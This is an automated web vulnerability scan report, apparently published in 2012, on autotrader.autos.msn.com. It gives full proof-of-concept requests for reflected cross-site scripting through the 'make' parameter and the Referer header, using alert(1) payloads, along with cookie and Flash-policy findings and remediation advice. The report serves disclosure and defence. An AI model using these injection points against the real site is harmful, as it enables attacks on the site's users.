Report generated by HTI at Sat Sep 01 09:06:07 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, autotrader.autos.msn.com

Loading

1. Cross-site scripting (reflected)

1.1. http://autotrader.autos.msn.com/fyc/index.jsp [make parameter]

1.2. http://autotrader.autos.msn.com/fyc/index.jsp [Referer HTTP header]

2. Flash cross-domain policy

3. Cookie without HttpOnly flag set

3.1. http://autotrader.autos.msn.com/fyc/index.jsp

3.2. http://autotrader.autos.msn.com/fyc/index.jsp

4. Cookie scoped to parent domain

4.1. http://autotrader.autos.msn.com/fyc/index.jsp

4.2. http://autotrader.autos.msn.com/fyc/index.jsp

5. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://autotrader.autos.msn.com/fyc/index.jsp [make parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://autotrader.autos.msn.com
Path:   /fyc/index.jsp

Issue detail

The value of the make request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25407'%3balert(1)//54a1bb6f795 was submitted in the make parameter. This input was echoed as 25407';alert(1)//54a1bb6f795 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /fyc/index.jsp?hide_nav=true&page=atcPartner&address=02130&year=&make=25407'%3balert(1)//54a1bb6f795&model=&certified=&distance=25&search_type=used HTTP/1.1
Host: autotrader.autos.msn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Fri, 20 Apr 2012 03:41:12 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: v1st=5F1BA0DFC5544E11; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893272132734; path=/; expires=Wed, 30-Mar-16 03:41:12 GMT; domain=.msn.com
Set-Cookie: ATC_USER_ZIP=02130; Domain=.msn.com; Expires=Sun, 20-Apr-2014 03:41:12 GMT; Path=/
Set-Cookie: ATC_USER_ZIP=02130; Domain=.msn.com; Expires=Sun, 20-Apr-2014 03:41:12 GMT; Path=/
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-33jy5egst; Path=/
Set-Cookie: JSESSIONID=2207D3D9F31C36B47107C12A4A5208C8; Path=/
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Vary: Accept-Encoding
Connection: close
Set-Cookie: BIGipServerwww=294248458.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;
Content-Length: 67308

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>

...[SNIP]...
<script type="text/javascript">
$("#cache-make1").val('25407';alert(1)//54a1bb6f795')
</script>
...[SNIP]...

1.2. http://autotrader.autos.msn.com/fyc/index.jsp [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://autotrader.autos.msn.com
Path:   /fyc/index.jsp

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e69ca</script><script>alert(1)</script>00982631e11 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /fyc/index.jsp HTTP/1.1
Host: autotrader.autos.msn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=e69ca</script><script>alert(1)</script>00982631e11

Response (redirected)

HTTP/1.1 200 OK
Date: Fri, 20 Apr 2012 03:40:41 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: v1st=BCB9E0DDC90631A8; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893241578815; path=/; expires=Wed, 30-Mar-16 03:40:41 GMT; domain=.msn.com
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=wvsbvu5c2; Path=/
Set-Cookie: JSESSIONID=D45244973D8781342088327E71F4BA7B; Path=/
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Vary: Accept-Encoding
Connection: close
Set-Cookie: BIGipServerwww=260694026.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;
Content-Length: 64509

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>

...[SNIP]...
rm","detailedPageName":"SRPFRM","atcCookie":"","myAtcId":"0","myAtc":"false","requestedPage":"http://autotrader.autos.msn.com/findcar/index.xhtml","referringPage":"http://www.google.com/search?hl=en&q=e69ca</script><script>alert(1)</script>00982631e11","search_lang":"en"},"location":{"address":"","ipZipCode":"","dma":"","distance":"25"},"vehicle":{"body_code":["all"],"car_year":"","car_id":"","fuel":"","make":[],"model":[],"price":"","search_max_pr
...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://autotrader.autos.msn.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: autotrader.autos.msn.com

Response

HTTP/1.1 200 OK
Date: Fri, 20 Apr 2012 03:40:20 GMT
Server: Apache
Set-Cookie: v1st=8C6860CA5D517E06; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893220101495; path=/; expires=Wed, 30-Mar-16 03:40:20 GMT; domain=.msn.com
Last-Modified: Mon, 09 Apr 2012 04:09:31 GMT
Accept-Ranges: bytes
Content-Length: 271
Vary: Accept-Encoding
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Keep-Alive: timeout=10, max=100
Connection: close
Content-Type: text/xml
Set-Cookie: BIGipServerwww=579461130.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.autotrader.com" />
<allow-access-from domain="ads.autotrader.com" />
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://autotrader.autos.msn.com/fyc/index.jsp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://autotrader.autos.msn.com
Path:   /fyc/index.jsp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /fyc/index.jsp?hide_nav=true&page=atcPartner&search_type=used&LNX=MSNATMSNSNAVFYC HTTP/1.1
Host: autotrader.autos.msn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Fri, 20 Apr 2012 03:40:22 GMT
Location: /cars-for-sale/index.xhtml;jsessionid=50A978187B79E369FD53216D57068CA1?listingType=used
Set-Cookie: v1st=D66444D4C1DA7303; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893222204689; path=/; expires=Wed, 30-Mar-16 03:40:22 GMT; domain=.msn.com
Set-Cookie: JSESSIONID=50A978187B79E369FD53216D57068CA1; Path=/
Set-Cookie: CBRND="LNX=MSNATMSNSNAVFYC"; Version=1; Domain=.msn.com; Path=/
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/plain
Connection: close
Set-Cookie: BIGipServerwww=478797834.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;
Content-Length: 0


3.2. http://autotrader.autos.msn.com/fyc/index.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://autotrader.autos.msn.com
Path:   /fyc/index.jsp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /fyc/index.jsp?hide_nav=true&page=atcPartner&address=02130&year=&make=&model=&certified=&distance=25&search_type=used HTTP/1.1
Host: autotrader.autos.msn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Fri, 20 Apr 2012 03:40:23 GMT
Location: /cars-for-sale/index.xhtml?zip=02130&listingType=used&searchRadius=25
Set-Cookie: v1st=C60F0CDF54D3C8A; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893223525481; path=/; expires=Wed, 30-Mar-16 03:40:23 GMT; domain=.msn.com
Set-Cookie: ATC_USER_ZIP=02130; Domain=.msn.com; Expires=Sun, 20-Apr-2014 03:40:23 GMT; Path=/
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/plain
Connection: close
Set-Cookie: BIGipServerwww=25813002.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;
Content-Length: 0


4. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


4.1. http://autotrader.autos.msn.com/fyc/index.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://autotrader.autos.msn.com
Path:   /fyc/index.jsp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /fyc/index.jsp?hide_nav=true&page=atcPartner&search_type=used&LNX=MSNATMSNSNAVFYC HTTP/1.1
Host: autotrader.autos.msn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Fri, 20 Apr 2012 03:40:22 GMT
Location: /cars-for-sale/index.xhtml;jsessionid=50A978187B79E369FD53216D57068CA1?listingType=used
Set-Cookie: v1st=D66444D4C1DA7303; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893222204689; path=/; expires=Wed, 30-Mar-16 03:40:22 GMT; domain=.msn.com
Set-Cookie: JSESSIONID=50A978187B79E369FD53216D57068CA1; Path=/
Set-Cookie: CBRND="LNX=MSNATMSNSNAVFYC"; Version=1; Domain=.msn.com; Path=/
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/plain
Connection: close
Set-Cookie: BIGipServerwww=478797834.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;
Content-Length: 0


4.2. http://autotrader.autos.msn.com/fyc/index.jsp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://autotrader.autos.msn.com
Path:   /fyc/index.jsp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /fyc/index.jsp?hide_nav=true&page=atcPartner&address=02130&year=&make=&model=&certified=&distance=25&search_type=used HTTP/1.1
Host: autotrader.autos.msn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Fri, 20 Apr 2012 03:40:23 GMT
Location: /cars-for-sale/index.xhtml?zip=02130&listingType=used&searchRadius=25
Set-Cookie: v1st=C60F0CDF54D3C8A; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893223525481; path=/; expires=Wed, 30-Mar-16 03:40:23 GMT; domain=.msn.com
Set-Cookie: ATC_USER_ZIP=02130; Domain=.msn.com; Expires=Sun, 20-Apr-2014 03:40:23 GMT; Path=/
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/plain
Connection: close
Set-Cookie: BIGipServerwww=25813002.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;
Content-Length: 0


5. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://autotrader.autos.msn.com
Path:   /fyc/index.jsp

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.

Request

GET /robots.txt HTTP/1.0
Host: autotrader.autos.msn.com

Response

HTTP/1.1 200 OK
Date: Fri, 20 Apr 2012 03:40:20 GMT
Server: Apache
Set-Cookie: v1st=AED09B56025BE1DD; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.msn.com
Set-Cookie: ATC_ID=63.209.227.200.1334893220308935; path=/; expires=Wed, 30-Mar-16 03:40:20 GMT; domain=.msn.com
Last-Modified: Mon, 09 Apr 2012 04:09:31 GMT
Accept-Ranges: bytes
Content-Length: 439
Vary: Accept-Encoding
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Keep-Alive: timeout=10, max=100
Connection: close
Content-Type: text/plain
Set-Cookie: BIGipServerwww=42590218.61475.0000; path=/
Set-Cookie: DCNAME=www-7001.autotrader.com;path=/;

User-agent: *
Disallow: /fyc # This is an infinite virtual URL space
Disallow: /inventory # This is an infinite virtual URL space

# Start Home Page Test
Disallow: /index_hpra0.jsp
Disallow: /index_h
...[SNIP]...

Report generated by HTI at Sat Sep 01 09:06:07 EDT 2012.